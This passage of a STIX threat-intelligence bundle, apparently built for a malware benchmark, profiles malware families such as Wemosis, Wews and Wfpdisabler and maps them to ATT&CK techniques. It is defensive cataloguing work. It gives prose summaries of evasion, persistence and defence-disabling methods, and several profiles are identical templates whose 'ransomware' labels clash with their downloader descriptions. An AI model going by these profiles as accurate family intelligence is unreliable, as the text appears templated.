      "id": "relationship--dcfe5ad6-d2d6-5a56-823e-5ecf3d080c69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08cf593b-1906-58d8-b99c-879198e7e429",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wellmess exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1911b626-6f16-503d-aee2-8ff4e1796794",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08cf593b-1906-58d8-b99c-879198e7e429",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wellmess exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wemosis",
      "description": "Trojan:Win32/Wemosis is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wemosis</b><br>To an end-user, a Wemosis infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wemosis is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wemosis is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wemosis frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wemosis reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wemosis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wemosis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0f9b243-5922-5877-aa28-cc9b54a1b051",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wemosis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22ba1acc-b1a3-5d0d-a505-63420dcefda5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wemosis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bb2d310-c273-546d-826d-f97066c44c5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wemosis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50c8b359-08b6-5c16-84c7-cf07b487865c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wemosis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c75d9e90-c726-5243-b309-4d50db477734",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e2ad5a6-4cd0-542e-85bf-41f903d42251",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wemosis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wenper",
      "description": "Trojan:Win32/Wenper is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Wenper</b><br>To an end-user, a Wenper infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Wenper is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Wenper is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Wenper frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Wenper reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wenper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wenper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--047c7f5c-accc-54d5-832e-92c32a2340c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wenper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32d18a00-8ff6-54a9-944e-ac7871d66a61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wenper exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e963ef2-6afd-576c-addf-9ce2ddd5594e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wenper exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f1b3b22-5cd8-5724-97fc-884e9c5cb621",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wenper exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7cfcc696-05ed-5d05-a315-b85240be9e56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97cbf606-1a98-581e-8956-cf51ef81dc7e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wenper exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Werly",
      "description": "Trojan:Win32/Werly is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Werly</b><br>To an end-user, a Werly infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Werly is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Werly is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Werly frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Werly reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Werly",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/werly"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--792e3d71-e9cb-5b37-a73c-269b5652f942",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werly exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fadffe06-0b8f-5eb5-812e-1c999defbd2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werly exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6357142-61c1-5918-a772-87b14ca907a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werly exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2febd769-001e-53e9-93c8-f45d451a5cf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werly exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a536396f-83bb-5caf-9ebd-251c363da765",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1ce36d8-7c2f-5ed9-b5e0-97460053aa5d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werly exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Werpoapt",
      "description": "<h3>Executive Summary</h3>\nWerpoAPT is a sophisticated Advanced Persistent Threat (APT) group and associated malware framework characterized by highly targeted cyber-espionage campaigns against government, defense, and high-value corporate targets. The group utilizes a bespoke toolset designed for deep network infiltration, prolonged stealth, and the systematic exfiltration of sensitive intellectual property and state secrets.\n\n<h3>Technical Capabilities and Attack Lifecycle</h3>\nWerpoAPT operations are methodical and well-resourced. Initial access is almost exclusively achieved through highly tailored spear-phishing campaigns targeting specific individuals within the target organization, utilizing zero-day exploits (or N-day exploits for recently disclosed vulnerabilities) embedded in decoy documents.\n\nThe WerpoAPT operational lifecycle includes:\n<ul>\n<li><strong>Initial Compromise & Staging:</strong> Upon successful exploitation, a lightweight dropper is executed. This dropper performs environmental checks to ensure it is not in a sandbox, then downloads the primary Werpo backdoor entirely into memory (fileless execution).</li>\n<li><strong>Lateral Movement:</strong> The group avoids deploying malware where possible, relying heavily on \"Living off the Land\" (LotL) techniques. They utilize compromised credentials, PowerShell, Windows Management Instrumentation (WMI), and native remote administration tools (like PsExec) to move laterally across the network undetected.</li>\n<li><strong>Data Exfiltration:</strong> WerpoAPT employs custom data harvesting modules that search for specific file types (.doc, .pdf, .dwg). Stolen data is aggregated, heavily encrypted, and exfiltrated to command-and-control (C2) servers, often masquerading the traffic as legitimate HTTPS or DNS requests.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA WerpoAPT compromise is a critical national security or corporate emergency. The group's primary objective is the theft of highly sensitive data, which can lead to the loss of competitive advantage, severe reputational damage, and the compromise of classified intelligence.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>Advanced Threat Hunting:</strong> Standard antivirus is ineffective against WerpoAPT. Organizations must employ dedicated threat hunting teams utilizing EDR telemetry to search for anomalous behavioral patterns, such as unusual PowerShell execution or administrative tools being run by non-admin users.</li>\n<li><strong>Strict Network Segmentation:</strong> Critical data repositories and high-value research networks must be heavily segmented from the general corporate network, with strict access control lists (ACLs) and comprehensive logging of all cross-VLAN traffic.</li>\n<li><strong>Zero Trust Architecture:</strong> Implement a Zero Trust security model, enforcing Multi-Factor Authentication (MFA) and continuous authorization for all internal network access, severely limiting the group's ability to move laterally using compromised credentials.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "APT.Werpo",
        "Trojan.WerpoAPT",
        "Win32/Werpo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Werpoapt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/werpoapt"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdf82c6d-bea1-54bc-80eb-b086ce3ef23c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werpoapt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37ae3d89-4283-5f8c-ae63-7c84415aa3bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werpoapt exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b407c321-1d74-52c5-aced-c8c40d420a39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "target_ref": "attack-pattern--f7cefe4e-cadf-5280-927c-40d027c0f378",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werpoapt exhibits technique T1047 (Windows Management Instrumentation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6361e77b-ce66-531b-9989-7db8617ad915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werpoapt exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb7f62a5-63ea-5b4e-a317-6ba6477387fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5230fc15-63db-5bd6-bb22-c777b19dd5e2",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Werpoapt exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wews",
      "description": "Wews (recognized across threat telemetry signatures as Exploit:HTML/Wews, Exploit.HTML.Wews, and Trojan-Downloader.HTML.Wews) is a specialized class of malicious web-based exploit scripts active since 2013. Designed to weaponize browser rendering engines, Wews payloads are delivered via drive-by download compromise portals, malvertising networks, and prominent exploit kit frameworks (including Angler, Sweet Orange, and Fiesta). When a victim navigates to a compromised webpage hosting Wews, heavily obfuscated JavaScript executes in the background to fingerprint the client browser, operating system architecture, and installed plugin versions (such as Adobe Flash, Oracle Java, or Internet Explorer modules). Upon detecting a vulnerable rendering component, the script triggers heap spraying and memory corruption exploits to escape browser sandboxes and execute arbitrary shellcode. Once initial code execution is established, Wews silently fetches and runs secondary binaries\u2014such as banking trojans, information stealers, or ransomware droppers\u2014directly in system memory without requiring user interaction. (Observed samples in benchmark: 111)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit:HTML/Wews",
        "Exploit.HTML.Wews",
        "Trojan-Downloader.HTML.Wews",
        "HTML/Wews"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wews",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wews"
        }
      ],
      "labels": [
        "exploit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b030d961-6cbe-57cf-947a-498919788601",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ceb85111-d1f4-5f64-97be-417660b5ddb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--0e256bfe-cc6d-5f41-9ab7-680374cb717c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1203 (Exploitation for Client Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06d707ef-7d89-5d96-ab4e-85afcd8649a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55b8112e-f5d8-5241-840d-03a1897c7a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37351b49-48e0-564a-b138-2e097da73e6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6dc42d7-b6eb-5f84-95b6-66d9bd74e382",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fd5197a-d6ba-5010-993f-f1137280519a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wews exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0edec570-7d42-5b20-9fca-d7bf5f7170e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Wfpdisabler",
      "description": "HackTool:Win32/Wfpdisabler (Windows File Protection Disabler) is a highly specialized, malicious utility used during the post-exploitation phase of an attack. Its sole purpose is to disable the built-in Windows security feature that prevents the modification or replacement of critical system files (like `.dll` and `.sys` files) (`T1562.001`). By disabling WFP, attackers can install deeply embedded rootkits or replace legitimate system binaries with trojanized versions.<br><br><b>Understanding Wfpdisabler (Defense Impairment)</b><br>To an end-user, the execution is completely invisible. For a security professional, the presence of a WFP Disabler is a massive red flag. It indicates that the attacker already possesses SYSTEM-level privileges (as disabling WFP requires it) and is preparing to deeply compromise the operating system's integrity, making remediation exceptionally difficult.<br><br><b>Execution and Evasion Mechanics</b><br>Wfpdisabler utilities operate at a very low level. Historically, they function by patching `sfc_os.dll` in memory or modifying specific, highly protected registry keys (like `SFCDisable` in `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon`). By successfully executing this tool, the attacker effectively blindfolds the OS, allowing them to overwrite critical components (like `explorer.exe` or `lsass.exe`) without the OS automatically restoring the original, signed versions (`T1543`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system integrity. Host-based IoCs include EDR alerts for anomalous memory patching of system DLLs (specifically `sfc_os.dll`), unauthorized modifications to `Winlogon` registry keys by non-system processes, and the subsequent dropping or modification of core Windows system files. There are typically no direct network IoCs associated with the disabler tool itself. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Wfpdisabler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/wfpdisabler"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f77bd1e-ae27-599c-984d-c3a6ec1f3cee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0edec570-7d42-5b20-9fca-d7bf5f7170e7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Wfpdisabler exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Windows File Protection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af9f53be-7bb8-5b10-970d-ab1d0a61faf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
